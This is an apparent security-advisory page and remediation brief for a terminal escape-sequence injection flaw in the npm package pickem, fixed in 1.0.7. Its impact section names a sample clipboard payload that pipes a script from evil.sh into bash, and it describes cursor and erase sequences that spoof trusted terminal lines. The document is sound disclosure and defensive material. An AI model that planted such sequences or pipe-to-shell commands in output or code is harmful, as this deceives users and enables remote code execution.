pickem vulnerable to terminal escape-sequence injection via unsanitized item text

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS 4.0

8.6 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N · score source

EPSS

No dated EPSS signal available.

As published by the source; long descriptions are shortened.

Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway. Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive: - OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (ESC1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding. Any CLI that passes untrusted strings into pickem choices is affected. Patches Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus…

Published by the source

25 Aug 2026, 15:59 UTC

Last modified by the source

25 Aug 2026, 15:59 UTC

Source last checked

26 Oct 2026, 13:01 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-8qx3-8gm5-9cj2

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# Patch Next advisory brief: GHSA-8qx3-8gm5-9cj2

Advisory: pickem vulnerable to terminal escape-sequence injection via unsanitized item text
IDs: GHSA-8qx3-8gm5-9cj2
Record: https://patchnext.com/advisories/ghsa-8qx3-8gm5-9cj2 (revision 1, source checked 26 Oct 2026, 13:01 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: High (CVSS 8.6)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: pickem 1.0.7. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm pickem: affected < 1.0.7; fixed in 1.0.7

## Suggested inspection (read-only)
- `npm ls pickem --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on pickem.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-8qx3-8gm5-9cj2 (GitHub-reviewed advisory GHSA-8qx3-8gm5-9cj2 lists affected ranges: npm pickem >=0 <1.0.7)

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